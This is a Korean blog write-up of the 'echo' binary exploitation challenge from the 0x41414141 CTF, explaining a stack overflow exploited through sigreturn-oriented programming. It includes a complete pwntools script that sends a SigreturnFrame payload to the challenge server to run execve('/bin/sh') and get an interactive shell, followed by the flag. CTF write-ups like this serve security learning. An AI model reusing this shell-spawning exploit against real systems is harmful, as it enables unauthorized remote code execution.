-
[0x41414141 CTF] echoCTF/WRITEUP 2021. 2. 2. 17:27
Disassembly 디스어셈블리
main은 echo를 호출하고 exit로 프로세스를 종료한다.
void main(void) { echo(); exit(0); }
echo는 0x300 바이트 만큼 값을 읽어오고, 이를 출력하는 역할을 한다.
void echo(void) { int sz = read(0, [rbp-0x180], 0x300); write(1, [rbp-0x180], sz); }
사용할 만한 라이브러리는 없고, NX가 켜져있으니 레지스터를 조작해 syscall을 통해 공격하는 수밖에 없다.
Sigreturn Oriented Programming
rax에 원하는 값을 넣기 위해서는 write 함수의 리턴값을 이용할 필요가 있다. 공격은 세 단계로 이루어진다.
- 스택 버퍼 오버플로우를 이용해 RET를 echo, syscall의 순서로 덮는다.
- 다시 호출된 echo에서 read에 입력으로 0xf 바이트를 넣어준다. 이후 write의 리턴값인 0xf가 rax에 저장된 채로 syscall이 호출된다.
- 0xf번 시스템 콜인 sigreturn이 호출되면서 레지스터의 값을 조작해 execve("/bin/sh")가 호출되도록 한다.
이와 같이 SROP를 이용하면 문제를 해결할 수 있다.
Code
더보기from pwn import * binary = "./echo" server = "185.172.165.118" port = 9090 # context.log_level = 'debug' context.binary = binary p = remote(server, port) e = ELF(binary) r = ROP(e) e.checksec() echo = e.symbols["echo"] binsh = next(e.search(b"/bin/sh")) syscall = (r.find_gadget(['syscall']))[0] payload = b"A"*0x188 payload += p64(echo) payload += p64(syscall) s = SigreturnFrame(arch="amd64") s.rax = constants.SYS_execve s.rdi = binsh s.rsi = 0 s.rdx = 0 s.rip = syscall payload += bytes(s) payload += b"\x90"*(0x300-len(payload)) p.send(payload) payload = b"\x90"*0x0f p.send(payload) p.interactive()
Flag
flag{a2e14ad30c012978fc870c1f529e8156}
'CTF > WRITEUP' 카테고리의 다른 글
[0x41414141 CTF] Faking till you're Making (0) 2021.02.02 [0x41414141 CTF] Moving signals (0) 2021.02.02 [0x41414141 CTF] Return Of The ROPs (0) 2021.02.02 [0x41414141 CTF] The Pwn Inn (0) 2021.01.30 [0x41414141 CTF] external (0) 2021.01.27